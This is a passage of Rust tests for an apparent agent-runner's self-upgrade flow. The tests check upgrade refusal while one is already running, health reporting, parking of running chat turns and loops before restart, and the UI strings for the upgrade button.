16932 fn recheck_defers_to_an_upgrade_already_in_flight() {
16933 let dir = TempDir::new().expect("temp dir");
16934 let path = dir.path().join("state.json");
16935 let checker = crate::updater::Checker::for_test(Duration::from_secs(60 * 60), path);
16936 let progress = crate::updater::Progress::new("0.8.0".to_owned(), "v0.9.0".to_owned());
16937
16938 assert!(
16939 !update_recheck_due(&checker, Some(&progress)),
16940 "a recheck must not run while an upgrade this deck started is \
16941 still moving"
16942 );
16943 }
16944
16945 #[tokio::test]
16946 async fn an_upgrade_is_refused_by_the_no_autoupdate_kill_switch() {
16947 unsafe {
16959 std::env::set_var(crate::updater::NO_AUTOUPDATE_ENV, "1");
16960 }
16961 let fx = Fixture::start().await;
16962 let res = fx.post("/api/upgrade", None).await;
16963 unsafe {
16964 std::env::remove_var(crate::updater::NO_AUTOUPDATE_ENV);
16965 }
16966 assert_eq!(res.status, 200, "not 202: nothing was set in motion");
16967 let body = res.json();
16968 assert!(body["to"].is_null(), "there was no release to move to");
16969 assert!(body["parked"].is_null(), "and nothing was parked");
16970 assert!(
16971 body["detail"]
16972 .as_str()
16973 .unwrap()
16974 .contains("disabled by MAGI_NO_AUTOUPDATE"),
16975 "{body:?}"
16976 );
16977 }
16978
16979 fn seeded_progress(stage: crate::updater::Stage) -> crate::updater::Progress {
16980 let mut p = crate::updater::Progress::new("0.1.0".into(), "v0.2.0".into());
16981 p.stage = stage;
16982 p
16983 }
16984
16985 #[test]
16986 fn busy_stages_match_the_ui_set() {
16987 use crate::updater::Stage;
16988 assert!(APP_JS.contains(
16989 "UPGRADE_BUSY_STAGES = new Set([\"downloading\", \"replaced\", \"parking\", \"restarting\"])"
16990 ));
16991 for s in [
16992 Stage::Downloading,
16993 Stage::Replaced,
16994 Stage::Parking,
16995 Stage::Restarting,
16996 ] {
16997 assert!(upgrade_in_motion(Some(&seeded_progress(s))).is_some());
16998 }
16999 for s in [Stage::Done, Stage::Failed] {
17000 assert!(upgrade_in_motion(Some(&seeded_progress(s))).is_none());
17001 }
17002 assert!(upgrade_in_motion(None).is_none());
17003 }
17004
17005 #[tokio::test]
17006 async fn a_second_upgrade_during_a_busy_stage_is_refused_and_changes_nothing() {
17007 use crate::updater::Stage;
17008 for stage in [
17009 Stage::Downloading,
17010 Stage::Replaced,
17011 Stage::Parking,
17012 Stage::Restarting,
17013 ] {
17014 let fx = Fixture::start().await;
17015 let seeded = seeded_progress(stage);
17016 crate::updater::write_progress(fx.home.path(), &seeded).expect("seed");
17017 let before = std::fs::read_to_string(crate::updater::progress_path(fx.home.path()))
17018 .expect("read");
17019
17020 let res = fx.post("/api/upgrade", None).await;
17021 assert_eq!(res.status, 409, "{stage:?}");
17022 let err = res.json()["error"].as_str().unwrap().to_owned();
17023 assert!(err.contains("already in progress"), "{err}");
17024 assert!(err.contains(stage.as_str()), "{err}");
17025
17026 let after = std::fs::read_to_string(crate::updater::progress_path(fx.home.path()))
17027 .expect("read");
17028 assert_eq!(before, after, "{stage:?}: upgrade.json is untouched");
17029 let log = std::fs::read_to_string(crate::updater::log_path(fx.home.path()))
17030 .unwrap_or_default();
17031 assert!(!log.contains("signalling HANDOVER"), "{log}");
17032 }
17033 }
17034
17035 #[tokio::test]
17036 async fn an_upgrade_after_a_finished_or_failed_one_is_allowed() {
17037 use crate::updater::Stage;
17038 let repo = TempDir::new().expect("repo dir");
17039 std::fs::write(repo.path().join("magi.toml"), "[update]\nmode = \"off\"\n")
17040 .expect("write magi.toml");
17041 let fx = Fixture::with_repo(repo.path().to_path_buf()).await;
17042 for stage in [Stage::Done, Stage::Failed] {
17043 crate::updater::write_progress(fx.home.path(), &seeded_progress(stage)).expect("seed");
17044 let res = fx.post("/api/upgrade", None).await;
17045 assert_eq!(res.status, 200, "{stage:?}");
17046 }
17047 let _ = std::fs::remove_file(crate::updater::progress_path(fx.home.path()));
17049 assert_eq!(fx.post("/api/upgrade", None).await.status, 200);
17050 }
17051
17052 #[tokio::test]
17053 async fn an_upgrade_with_nothing_to_install_changes_nothing() {
17054 let repo = TempDir::new().expect("repo dir");
17070 std::fs::write(repo.path().join("magi.toml"), "[update]\nmode = \"off\"\n")
17071 .expect("write magi.toml");
17072 let fx = Fixture::with_repo(repo.path().to_path_buf()).await;
17073
17074 let res = fx.post("/api/upgrade", None).await;
17080 assert_eq!(res.status, 200, "not 202: nothing was set in motion");
17081 let body = res.json();
17082 assert!(body["to"].is_null(), "there was no release to move to");
17083 assert!(body["parked"].is_null(), "and nothing was parked");
17084 assert!(
17085 body["detail"]
17086 .as_str()
17087 .unwrap()
17088 .contains("nothing restarted"),
17089 "{body:?}"
17090 );
17091 }
17092
17093 #[tokio::test]
17094 async fn health_reports_the_running_version_and_no_pending_upgrade_by_default() {
17095 let repo = TempDir::new().expect("repo dir");
17100 std::fs::write(repo.path().join("magi.toml"), "[update]\nmode = \"off\"\n")
17101 .expect("write magi.toml");
17102 let fx = Fixture::with_repo(repo.path().to_path_buf()).await;
17103
17104 let health = fx.get("/api/health").await.json();
17105 assert_eq!(health["version"], env!("CARGO_PKG_VERSION"));
17106 assert_eq!(
17107 health["update"]["available"], false,
17108 "checking is off, which reads as \"unknown\", not \"none\""
17109 );
17110 assert!(health["update"]["to"].is_null());
17111 assert!(
17112 health["upgrade"].is_null(),
17113 "nothing has ever asked this deck to upgrade"
17114 );
17115 }
17116
17117 #[tokio::test]
17118 async fn health_reports_a_parked_upgrade_and_what_it_is_waiting_on() {
17119 let fx = Fixture::start().await;
17120 write_run(&fx.runs(), "20260905-000000-cd51", RunStatus::Implementing);
17121
17122 let mut progress = crate::updater::Progress::new("0.5.1".to_owned(), "0.5.2".to_owned());
17123 progress.parked_run = Some("20260905-000000-cd51".to_owned());
17124 progress.advance(crate::updater::Stage::Parking);
17125 crate::updater::write_progress(fx.home.path(), &progress).expect("write upgrade.json");
17126
17127 let health = fx.get("/api/health").await.json();
17128 assert_eq!(health["upgrade"]["stage"], "parking");
17129 assert_eq!(health["upgrade"]["from"], "0.5.1");
17130 assert_eq!(health["upgrade"]["to"], "0.5.2");
17131 let waiting_on = health["upgrade"]["waiting_on"]
17132 .as_str()
17133 .expect("waiting_on is set while parking a known run");
17134 assert!(waiting_on.contains("cd51"), "{waiting_on}");
17135 assert!(waiting_on.contains("implementing"), "{waiting_on}");
17136 }
17137
17138 #[tokio::test]
17139 async fn health_reports_a_finished_upgrade_with_no_waiting_on() {
17140 let fx = Fixture::start().await;
17141 let mut progress = crate::updater::Progress::new("0.5.1".to_owned(), "0.5.2".to_owned());
17142 progress.advance(crate::updater::Stage::Done);
17143 crate::updater::write_progress(fx.home.path(), &progress).expect("write upgrade.json");
17144
17145 let health = fx.get("/api/health").await.json();
17146 assert_eq!(health["upgrade"]["stage"], "done");
17147 assert!(
17148 health["upgrade"]["waiting_on"].is_null(),
17149 "nothing to wait on once it is done"
17150 );
17151 }
17152
17153 #[tokio::test]
17154 async fn hand_over_advances_the_upgrade_progress_through_parking_and_restarting() {
17155 let home = TempDir::new().expect("temp home");
17156 let runs = home.path().join("runs");
17157 std::fs::create_dir_all(&runs).expect("runs dir");
17158 let ui = Ui::new(
17159 Queue::at(home.path().join("queue")),
17160 Questions::at(home.path().join("questions")),
17161 Talks::at(home.path().join("talks")),
17162 runs,
17163 home.path().to_path_buf(),
17164 PathBuf::from("/repo/magi"),
17165 )
17166 .with_launch(launch_idle);
17167 let looping = ui.looping();
17168 let turns = ui.turns();
17169 let listener = tokio::net::TcpListener::bind((Ipv4Addr::LOCALHOST, 0))
17170 .await
17171 .expect("bind loopback");
17172 let served = tokio::spawn(axum::serve(listener, ui.router()).into_future());
17173
17174 let progress = crate::updater::Progress::new("0.5.1".to_owned(), "0.5.2".to_owned());
17175 crate::updater::write_progress(home.path(), &progress).expect("seed progress");
17176
17177 hand_over(
17178 home.path(),
17179 &looping,
17180 &turns,
17181 &|_: &[String]| Duration::from_secs(5),
17182 served,
17183 |_| Ok(1),
17184 )
17185 .await
17186 .expect("hand over");
17187
17188 let after = crate::updater::read_progress(home.path()).expect("progress on disk");
17189 assert_eq!(
17190 after.stage,
17191 crate::updater::Stage::Restarting,
17192 "hand_over owns the record through parking and up to restarting; \
17193 the successor is what finishes it"
17194 );
17195 }
17196
17197 #[tokio::test]
17200 async fn hand_over_calls_the_successor_exactly_once_and_logs_the_steps() {
17201 for fail in [false, true] {
17202 let home = TempDir::new().expect("temp home");
17203 let ui = idle_ui(&home);
17204 let looping = ui.looping();
17205 let turns = ui.turns();
17206 let listener = tokio::net::TcpListener::bind((Ipv4Addr::LOCALHOST, 0))
17207 .await
17208 .expect("bind loopback");
17209 let served = tokio::spawn(axum::serve(listener, ui.router()).into_future());
17210 let progress = crate::updater::Progress::new("0.5.1".to_owned(), "0.5.2".to_owned());
17211 crate::updater::write_progress(home.path(), &progress).expect("seed progress");
17212
17213 let calls = std::sync::atomic::AtomicUsize::new(0);
17214 let outcome = hand_over(
17215 home.path(),
17216 &looping,
17217 &turns,
17218 &|_: &[String]| Duration::from_secs(5),
17219 served,
17220 |_| {
17221 calls.fetch_add(1, std::sync::atomic::Ordering::SeqCst);
17222 if fail {
17223 anyhow::bail!("no exec")
17224 } else {
17225 Ok(4242)
17226 }
17227 },
17228 )
17229 .await;
17230 assert_eq!(outcome.is_err(), fail);
17231 assert_eq!(calls.load(std::sync::atomic::Ordering::SeqCst), 1);
17232
17233 let log = std::fs::read_to_string(crate::updater::log_path(home.path()))
17234 .expect("upgrade.log is written under the home");
17235 for step in [
17236 "entered",
17237 "finish_loop",
17238 "listener released",
17239 "starting the successor",
17240 ] {
17241 assert!(log.contains(step), "missing `{step}` in:\n{log}");
17242 }
17243 assert!(
17244 log.contains(if fail { "did not start" } else { "pid 4242" }),
17245 "{log}"
17246 );
17247 }
17248 }
17249
17250 #[tokio::test]
17253 async fn the_handover_signal_wakes_one_waiter_once() {
17254 let signal = Notify::new();
17255 signal.notify_one();
17257 tokio::time::timeout(Duration::from_secs(5), wait_for_handover(&signal))
17258 .await
17259 .expect("an early signal is still seen");
17260 assert!(
17262 tokio::time::timeout(Duration::from_millis(50), wait_for_handover(&signal))
17263 .await
17264 .is_err(),
17265 "a consumed signal must not wake a second time"
17266 );
17267 let signal = std::sync::Arc::new(signal);
17269 let waiter = tokio::spawn({
17270 let signal = std::sync::Arc::clone(&signal);
17271 async move { wait_for_handover(&signal).await }
17272 });
17273 tokio::time::sleep(Duration::from_millis(20)).await;
17274 assert!(!waiter.is_finished(), "nothing was signalled yet");
17275 signal.notify_one();
17276 tokio::time::timeout(Duration::from_secs(5), waiter)
17277 .await
17278 .expect("a late signal wakes the waiter")
17279 .expect("join");
17280 }
17281
17282 #[tokio::test]
17283 async fn health_says_how_long_a_handover_has_been_stuck() {
17284 let fx = Fixture::start().await;
17285 let mut progress = crate::updater::Progress::new("0.5.1".to_owned(), "0.5.2".to_owned());
17286 progress.advance(crate::updater::Stage::Replaced);
17287 progress.updated_at = Timestamp::now() - Duration::from_secs(600);
17288 crate::updater::write_progress(fx.home.path(), &progress).expect("write upgrade.json");
17289
17290 let health = fx.get("/api/health").await.json();
17291 let stuck = health["upgrade"]["stuck_for_secs"].as_i64().expect("stuck");
17292 assert!(stuck >= 600, "{stuck}");
17293 assert_eq!(health["upgrade"]["stuck_kind"], "never_entered");
17294 assert!(health["upgrade"]["waiting_on"].as_str().is_some());
17295 }
17296
17297 #[tokio::test]
17298 async fn a_second_replaced_write_cannot_pull_a_parking_handover_back() {
17299 let home = tempfile::tempdir().expect("temp home");
17300 let mut progress = crate::updater::Progress::new("0.5.1".to_owned(), "0.5.2".to_owned());
17301 progress.advance(crate::updater::Stage::Parking);
17302 crate::updater::write_progress(home.path(), &progress).expect("seed");
17303 let mut again = progress.clone();
17305 again.advance(crate::updater::Stage::Replaced);
17306 crate::updater::write_progress(home.path(), &again).expect("replaced");
17307 let fresh = crate::updater::Progress::new("0.5.1".to_owned(), "0.5.2".to_owned());
17308 crate::updater::write_progress(home.path(), &fresh).expect("downloading");
17309 let after = crate::updater::read_progress(home.path()).expect("record");
17310 assert_eq!(after.stage, crate::updater::Stage::Parking);
17311 }
17312
17313 #[tokio::test]
17314 async fn health_does_not_call_a_live_parking_wait_stuck() {
17315 let fx = Fixture::start().await;
17316 let mut progress = crate::updater::Progress::new("0.5.1".to_owned(), "0.5.2".to_owned());
17317 progress.parked_run = Some("20260905-000000-cd51".to_owned());
17318 progress.advance(crate::updater::Stage::Parking);
17319 let hours = Duration::from_secs(3 * 3600);
17320 progress.started_at = Timestamp::now() - hours;
17321 progress.updated_at = Timestamp::now() - hours;
17322 crate::updater::write_progress(fx.home.path(), &progress).expect("write upgrade.json");
17323 let _lease = crate::updater::LeaseGuard::enter(
17324 fx.home.path(),
17325 Some("20260905-000000-cd51".to_owned()),
17326 );
17327
17328 let health = fx.get("/api/health").await.json();
17329 assert!(health["upgrade"]["stuck_for_secs"].is_null(), "{health}");
17330 assert!(health["upgrade"]["stuck_kind"].is_null());
17331 assert_eq!(health["upgrade"]["handover_alive"], true);
17332 let waiting_on = health["upgrade"]["waiting_on"]
17333 .as_str()
17334 .expect("waiting_on");
17335 assert!(waiting_on.contains("cd51"), "{waiting_on}");
17336 }
17337
17338 fn idle_ui(home: &TempDir) -> Ui {
17339 let runs = home.path().join("runs");
17340 std::fs::create_dir_all(&runs).expect("runs dir");
17341 Ui::new(
17342 Queue::at(home.path().join("queue")),
17343 Questions::at(home.path().join("questions")),
17344 Talks::at(home.path().join("talks")),
17345 runs,
17346 home.path().to_path_buf(),
17347 PathBuf::from("/repo/magi"),
17348 )
17349 .with_launch(launch_idle)
17350 }
17351
17352 async fn park_fixture(
17353 home: &TempDir,
17354 ) -> (
17355 Ui,
17356 Arc<Mutex<LoopState>>,
17357 Arc<Mutex<TalkTurns>>,
17358 tokio::task::JoinHandle<std::io::Result<()>>,
17359 ) {
17360 let ui = idle_ui(home);
17361 let looping = ui.looping();
17362 let turns = ui.turns();
17363 let listener = tokio::net::TcpListener::bind((Ipv4Addr::LOCALHOST, 0))
17364 .await
17365 .expect("bind loopback");
17366 let served = tokio::spawn(axum::serve(listener, ui.clone().router()).into_future());
17367 let progress = crate::updater::Progress::new("0.5.1".to_owned(), "0.5.2".to_owned());
17368 crate::updater::write_progress(home.path(), &progress).expect("seed progress");
17369 (ui, looping, turns, served)
17370 }
17371
17372 #[tokio::test]
17376 async fn hand_over_waits_for_a_running_chat_turn() {
17377 let home = TempDir::new().expect("temp home");
17378 let (ui, looping, turns, served) = park_fixture(&home).await;
17379 let ui = Arc::new(ui);
17380 let id = "20260901-000000-chat";
17381 let turn = ui.begin_talk_turn(id).expect("claim").expect("free");
17382
17383 let calls = Arc::new(std::sync::atomic::AtomicUsize::new(0));
17384 let handover = tokio::spawn({
17385 let home = home.path().to_path_buf();
17386 let turns = Arc::clone(&turns);
17387 let calls = Arc::clone(&calls);
17388 async move {
17389 hand_over(
17390 &home,
17391 &looping,
17392 &turns,
17393 &|_: &[String]| Duration::from_secs(60),
17394 served,
17395 move |_| {
17396 calls.fetch_add(1, std::sync::atomic::Ordering::SeqCst);
17397 Ok(1)
17398 },
17399 )
17400 .await
17401 }
17402 });
17403
17404 let waiting = async {
17405 for _ in 0..200 {
17406 if crate::updater::read_progress(home.path())
17407 .is_some_and(|p| p.parked_talks == [id.to_owned()])
17408 {
17409 return;
17410 }
17411 tokio::time::sleep(Duration::from_millis(25)).await;
17412 }
17413 panic!("the park never named the chat turn");
17414 };
17415 waiting.await;
17416 assert_eq!(calls.load(std::sync::atomic::Ordering::SeqCst), 0);
17417
17418 let refused = ui.begin_talk_turn("20260901-000000-late").err();
17421 assert!(
17422 refused.is_some_and(|e| e.message.contains("upgrade in progress")),
17423 "a direct start says an upgrade is in progress"
17424 );
17425 assert!(
17426 ui.begin_queued_talk_turn("20260901-000000-late")
17427 .expect("queued claim")
17428 .is_none()
17429 );
17430 assert!(matches!(
17431 ui.begin_talk_turn_unless_pending("20260901-000000-late")
17432 .expect("start"),
17433 TalkTurnStart::Busy
17434 ));
17435 assert_eq!(turns.lock().unwrap().live.len(), 1);
17436
17437 let progress = crate::updater::read_progress(home.path()).expect("progress");
17439 let view = upgrade_progress_view(&ui, progress);
17440 assert!(
17441 view.waiting_on.as_deref().is_some_and(|w| w.contains(id)),
17442 "{:?}",
17443 view.waiting_on
17444 );
17445
17446 assert!(!handover.is_finished());
17447 assert_eq!(calls.load(std::sync::atomic::Ordering::SeqCst), 0);
17448 drop(turn);
17449 handover.await.expect("join").expect("hand over");
17450 assert_eq!(calls.load(std::sync::atomic::Ordering::SeqCst), 1);
17451 assert!(!turns.lock().unwrap().parking, "slots reopen afterwards");
17452 }
17453
17454 #[tokio::test]
17457 async fn hand_over_keeps_chat_open_until_the_loop_is_done() {
17458 let home = TempDir::new().expect("temp home");
17459 let (ui, looping, turns, served) = park_fixture(&home).await;
17460 let ui = Arc::new(ui);
17461 let (end_loop, loop_ended) = tokio::sync::oneshot::channel::<()>();
17463 lock_or_recover(&looping).live = Some(Live {
17464 stop: daemon::Stop::new(),
17465 handle: tokio::spawn(async move {
17466 let _ = loop_ended.await;
17467 }),
17468 opts: daemon::Opts::default(),
17469 });
17470
17471 let calls = Arc::new(std::sync::atomic::AtomicUsize::new(0));
17472 let handover = tokio::spawn({
17473 let home = home.path().to_path_buf();
17474 let turns = Arc::clone(&turns);
17475 let calls = Arc::clone(&calls);
17476 async move {
17477 hand_over(
17478 &home,
17479 &looping,
17480 &turns,
17481 &|_: &[String]| Duration::from_secs(60),
17482 served,
17483 move |_| {
17484 calls.fetch_add(1, std::sync::atomic::Ordering::SeqCst);
17485 Ok(1)
17486 },
17487 )
17488 .await
17489 }
17490 });
17491
17492 let reached = async {
17493 for _ in 0..200 {
17494 if crate::updater::read_progress(home.path())
17495 .is_some_and(|p| p.stage == crate::updater::Stage::Parking)
17496 {
17497 return;
17498 }
17499 tokio::time::sleep(Duration::from_millis(25)).await;
17500 }
17501 panic!("the hand-over never reached parking");
17502 };
17503 reached.await;
17504
17505 assert!(!turns.lock().unwrap().parking);
17507 let turn = ui
17508 .begin_talk_turn("20260901-000000-chat")
17509 .expect("claim")
17510 .expect("a turn can start while the loop parks");
17511
17512 end_loop.send(()).expect("loop still waiting");
17514 for _ in 0..200 {
17515 if turns.lock().unwrap().parking {
17516 break;
17517 }
17518 tokio::time::sleep(Duration::from_millis(25)).await;
17519 }
17520 assert!(
17521 turns.lock().unwrap().parking,
17522 "closed once the loop is done"
17523 );
17524 let refused = ui.begin_talk_turn("20260901-000000-late").err();
17525 assert!(
17526 refused.is_some_and(|e| e.message.contains("upgrade in progress")),
17527 "no turn starts once the loop is done"
17528 );
17529 assert!(
17530 ui.begin_queued_talk_turn("20260901-000000-late")
17531 .expect("queued claim")
17532 .is_none()
17533 );
17534 assert!(!handover.is_finished());
17535 assert_eq!(calls.load(std::sync::atomic::Ordering::SeqCst), 0);
17536
17537 drop(turn);
17538 handover.await.expect("join").expect("hand over");
17539 assert_eq!(calls.load(std::sync::atomic::Ordering::SeqCst), 1);
17540 assert!(!turns.lock().unwrap().parking, "slots reopen afterwards");
17541 }
17542
17543 #[tokio::test]
17546 async fn hand_over_gives_up_on_a_stuck_chat_turn_after_the_bound() {
17547 let home = TempDir::new().expect("temp home");
17548 let (ui, looping, turns, served) = park_fixture(&home).await;
17549 let id = "20260901-000000-stuk";
17550 let _turn = ui.begin_talk_turn(id).expect("claim").expect("free");
17551
17552 let calls = std::sync::atomic::AtomicUsize::new(0);
17553 hand_over(
17554 home.path(),
17555 &looping,
17556 &turns,
17557 &|_: &[String]| Duration::from_millis(300),
17558 served,
17559 |_| {
17560 calls.fetch_add(1, std::sync::atomic::Ordering::SeqCst);
17561 Ok(1)
17562 },
17563 )
17564 .await
17565 .expect("hand over");
17566 assert_eq!(calls.load(std::sync::atomic::Ordering::SeqCst), 1);
17567
17568 let progress = crate::updater::read_progress(home.path()).expect("progress");
17569 assert_eq!(progress.stage, crate::updater::Stage::Restarting);
17570 assert!(
17571 progress.detail.as_deref().is_some_and(|d| d.contains(id)),
17572 "{:?}",
17573 progress.detail
17574 );
17575 let log = std::fs::read_to_string(crate::updater::log_path(home.path())).expect("log");
17576 assert!(
17577 log.contains("handing over anyway") && log.contains(id),
17578 "{log}"
17579 );
17580 }
17581
17582 #[tokio::test]
17585 async fn drain_loop_starts_no_turn_while_parking() {
17586 let tmp = TempDir::new().expect("tempdir");
17587 let repo = tmp.path().join("repo");
17588 std::fs::create_dir_all(&repo).expect("repo dir");
17589 std::fs::write(repo.join("magi.toml"), MOCK_AGENT_TOML).expect("write magi.toml");
17590 let home = TempDir::new().expect("temp home");
17591 let talks = Talks::at(home.path().join("talks"));
17592 let ui = Ui::new(
17593 Queue::at(home.path().join("queue")),
17594 Questions::at(home.path().join("questions")),
17595 talks.clone(),
17596 home.path().join("runs"),
17597 home.path().to_path_buf(),
17598 repo.clone(),
17599 )
17600 .with_worktrees_root(home.path().join("wt"));
17601 let cfg = config_for(&repo).await.expect("discover config");
17602 let mut talk = talk::begin(&talks, &cfg, repo.clone(), Some("mock")).expect("begin talk");
17603 let id = talk.id.clone();
17604 talk::queue(&mut talk, &talks, "later", Vec::new()).expect("queue");
17605 let turn = ui.begin_talk_turn(&id).expect("claim").expect("free");
17606 let turns = ui.turns();
17607 let parking = ParkingTurns::begin(&turns);
17608
17609 drain_loop(talk, talks.clone(), cfg, id.clone(), turn).await;
17610
17611 assert!(
17612 turns.lock().unwrap().live.is_empty(),
17613 "the slot is given up"
17614 );
17615 let fresh = talks.get(&id).expect("talk");
17616 assert_eq!(fresh.pending, "later", "the draft is still queued");
17617 assert!(fresh.turns.is_empty(), "no turn ran");
17618 drop(parking);
17619 }
17620
17621 async fn handed_over(home: &TempDir, ui: Ui) -> bool {
17623 let looping = ui.looping();
17624 let turns = ui.turns();
17625 let listener = tokio::net::TcpListener::bind((Ipv4Addr::LOCALHOST, 0))
17626 .await
17627 .expect("bind loopback");
17628 let served = tokio::spawn(axum::serve(listener, ui.router()).into_future());
17629 let told = std::sync::Mutex::new(None);
17630 hand_over(
17631 home.path(),
17632 &looping,
17633 &turns,
17634 &|_: &[String]| Duration::from_secs(5),
17635 served,
17636 |resume| {
17637 *told.lock().unwrap() = Some(resume);
17638 Ok(1)
17639 },
17640 )
17641 .await
17642 .expect("hand over");
17643 told.into_inner().unwrap().expect("successor was started")
17644 }
17645
17646 #[tokio::test]
17647 async fn a_running_loop_is_resumed_by_the_successor() {
17648 let home = TempDir::new().expect("temp home");
17649 let ui = idle_ui(&home);
17650 ui.start_loop(None).expect("start");
17651 ui.park_for_upgrade().expect("park");
17652 for _ in 0..500 {
17654 if !ui.loop_view(None).running {
17655 break;
17656 }
17657 tokio::time::sleep(Duration::from_millis(2)).await;
17658 }
17659 assert!(handed_over(&home, ui).await, "a running loop must resume");
17660
17661 let successor = idle_ui(&home);
17662 assert!(!successor.loop_view(None).running);
17663 assert!(successor.resume_after_handover(true));
17664 assert!(successor.loop_view(None).running);
17665 successor.stop_loop(None, false).expect("stop");
17666 }
17667
17668 #[tokio::test]
17669 async fn a_second_upgrade_request_keeps_the_resume_intent() {
17670 let home = TempDir::new().expect("temp home");
17671 let ui = idle_ui(&home);
17672 ui.start_loop(None).expect("start");
17673 ui.park_for_upgrade().expect("first park");
17674 ui.park_for_upgrade().expect("second park");
17675 assert!(handed_over(&home, ui).await);
17676 }
17677
17678 #[tokio::test]
17679 async fn a_stop_during_the_handover_wait_is_honoured() {
17680 let home = TempDir::new().expect("temp home");
17681 let ui = idle_ui(&home);
17682 ui.start_loop(None).expect("start");
17683 ui.park_for_upgrade().expect("park");
17684 ui.stop_loop(None, false).expect("stop");
17685 assert!(!handed_over(&home, ui).await);
17686 }
17687
17688 #[tokio::test]
17689 async fn an_idle_loop_stays_stopped_across_the_handover() {
17690 let home = TempDir::new().expect("temp home");
17691 let ui = idle_ui(&home);
17692 ui.park_for_upgrade().expect("park");
17693 assert!(!handed_over(&home, ui).await);
17694
17695 let successor = idle_ui(&home);
17696 assert!(!successor.resume_after_handover(false));
17697 assert!(!successor.loop_view(None).running);
17698 }
17699
17700 #[tokio::test]
17701 async fn a_loop_the_operator_stopped_is_not_resumed() {
17702 let home = TempDir::new().expect("temp home");
17703 let ui = idle_ui(&home);
17704 ui.start_loop(None).expect("start");
17705 ui.stop_loop(None, false).expect("stop");
17706 ui.park_for_upgrade().expect("park");
17707 assert!(!handed_over(&home, ui).await);
17708 }
17709
17710 #[test]
17711 fn only_an_explicit_one_requests_a_resume() {
17712 assert!(!resume_requested(None));
17713 assert!(!resume_requested(Some("0".into())));
17714 assert!(!resume_requested(Some("".into())));
17715 assert!(resume_requested(Some("1".into())));
17716 }
17717
17718 #[test]
17719 fn the_upgrade_button_arms_before_it_restarts_anything() {
17720 assert!(APP_JS.contains("upgrade: \"/api/upgrade\""));
17723 assert!(APP_JS.contains("Replace the binary and restart?"));
17724 assert!(APP_JS.contains("function confirmed("));
17725 assert!(APP_JS.contains("show(upgradeBtn, !foreign && update.available)"));
17730 assert!(
17734 APP_JS.contains("Parking, then restarting"),
17735 "the button says what it is waiting for"
17736 );
17737 assert!(APP_JS.contains("if (!out.to)"));
17740 }
17741
17742 #[test]
17743 fn stopping_the_loop_arms_but_starting_does_not() {
17744 assert!(APP_JS.contains("Finish the run(s) in flight, then stop claiming?"));
17747 assert!(APP_JS.contains("Stop claiming new tasks? Nothing is in flight."));
17748 assert!(APP_JS.contains("confirmed(button, question)"));
17749 assert!(!APP_JS.contains("setText(btn, \"Update & restart\");\n }\n }, 6000)"));
17752 assert!(APP_JS.contains("const label = btn.textContent;"));
17753 assert!(!APP_JS.contains("Neither direction is guarded"));
17754 }
17755
17756 #[test]
17757 fn the_running_version_is_shown_regardless_of_whether_an_update_exists() {
17758 assert!(
17759 APP_JS.contains("state.health.version"),
17760 "the operator wants to know what is running even with nothing newer"
17761 );
17762 assert!(APP_JS.contains("id=\"daemon-version\"") || APP_CSS.contains(".daemon-version"));
17763 }
17764
17765 #[test]
17766 fn the_upgrade_button_names_its_destination() {
17767 assert!(
17768 APP_JS.contains("`Update to ${update.to}`"),
17769 "pressing the button should not be a surprise about what it moves to"
17770 );
17771 }
17772
17773 #[test]
17774 fn an_upgrade_in_progress_is_shown_as_stages_not_as_an_error() {
17775 for stage in ["downloading", "replaced", "parking", "restarting"] {
17776 assert!(
17777 APP_JS.contains(&format!("\"{stage}\"")),
17778 "the phone must be able to tell {stage} apart from the others"
17779 );
17780 }
17781 assert!(APP_JS.contains(".waiting_on"));
17782 assert!(APP_JS.contains("function reportUnreachableDuringUpgrade("));
17787 assert!(APP_JS.contains("reconnects on its own"));
17788 }
17789
17790 #[test]
17791 fn a_failed_upgrade_does_not_lock_the_loop_controls() {
17792 let body = &APP_JS[APP_JS.find("function renderLoop(").expect("renderLoop")
17801 ..APP_JS.find("function upgrade(").expect("upgrade")];
17802 assert!(
17803 !body.contains(
17804 "upgradeStage === \"failed\") {\n setAttr(box, \"data-state\", \"failed\")"
17805 ),
17806 "a failed upgrade must not take the whole strip over the way it used to"
17807 );
17808 assert!(
17809 body.contains("upgradeFailNote"),
17810 "the failure has to reach the loop's own note instead"
17811 );
17812 assert_eq!(
17816 body.matches("upgradeFailNote].filter(Boolean).join")
17817 .count(),
17818 2,
17819 "both loop-why writers (quiet and control) must fold the note in"
17820 );
17821 }
17822
17823 #[test]
17824 fn an_overdue_upgrade_eventually_asks_for_a_human() {
17825 assert!(APP_JS.contains("UPGRADE_WAIT_LIMIT_MS = 70 * 60 * 1000"));
17828 assert!(APP_JS.contains("function upgradeOverdue("));
17829 }
17830
17831 #[test]
17832 fn coming_back_from_an_upgrade_says_which_version_it_landed_on() {
17833 assert!(
17834 APP_JS.contains("Updated to ${upgradeInfo.to"),
17835 "the operator who asked for the restart wants to know it worked"
17836 );
17837 }
17838
17839 #[test]
17840 fn an_error_is_visible_from_where_the_button_is() {
17841 let alert = &APP_CSS[APP_CSS.find(".alert {").expect(".alert")
17846 ..APP_CSS.find(".alert-text").expect(".alert-text")];
17847 assert!(
17848 alert.contains("position: fixed"),
17849 "an error about the thing under your thumb has to be visible from \
17850 where your thumb is: {alert}"
17851 );
17852 assert!(
17853 alert.contains("z-index: 25"),
17854 "above the dock (20) and the run-actions FAB (15), so neither \
17855 buries it: {alert}"
17856 );
17857 assert!(
17858 alert.contains("var(--tap)"),
17859 "and clear of the dock and the home indicator: {alert}"
17860 );
17861 assert!(
17864 alert.contains("var(--s4) + var(--tap) + var(--s3)"),
17865 "the FAB's column stays free: {alert}"
17866 );
17867 }
17868
17869 #[tokio::test]
17870 async fn an_older_attempt_says_what_replaced_it() {
17871 let fx = Fixture::start().await;
17872 let q = fx.queue();
17873 let runs = fx.runs();
17874 let (first, second) = ("20260901-000000-aaaa", "20260901-000000-bbbb");
17875 write_run(&runs, first, RunStatus::Stalled);
17876 write_run(&runs, second, RunStatus::Blocked);
17877
17878 let mut t = Task::new(
17879 "one task".to_owned(),
17880 "do it".to_owned(),
17881 PathBuf::from("/repo"),
17882 Source::Human,
17883 );
17884 t.runs = vec![first.to_owned(), second.to_owned()];
17885 q.put(&mut t).expect("put");
17886
17887 let rows = fx.get("/api/runs").await.json();
17891 let by = |short: &str| -> Value {
17892 rows.as_array()
17893 .unwrap()
17894 .iter()
17895 .find(|r| r["short"] == short)
17896 .cloned()
17897 .unwrap_or(Value::Null)
17898 };
17899 assert_eq!(by("aaaa")["superseded_by"], "bbbb");
17900 assert!(
17901 by("bbbb")["superseded_by"].is_null(),
17902 "the latest attempt is not superseded by anything"
17903 );
17904 assert!(APP_JS.contains("run.superseded_by"));
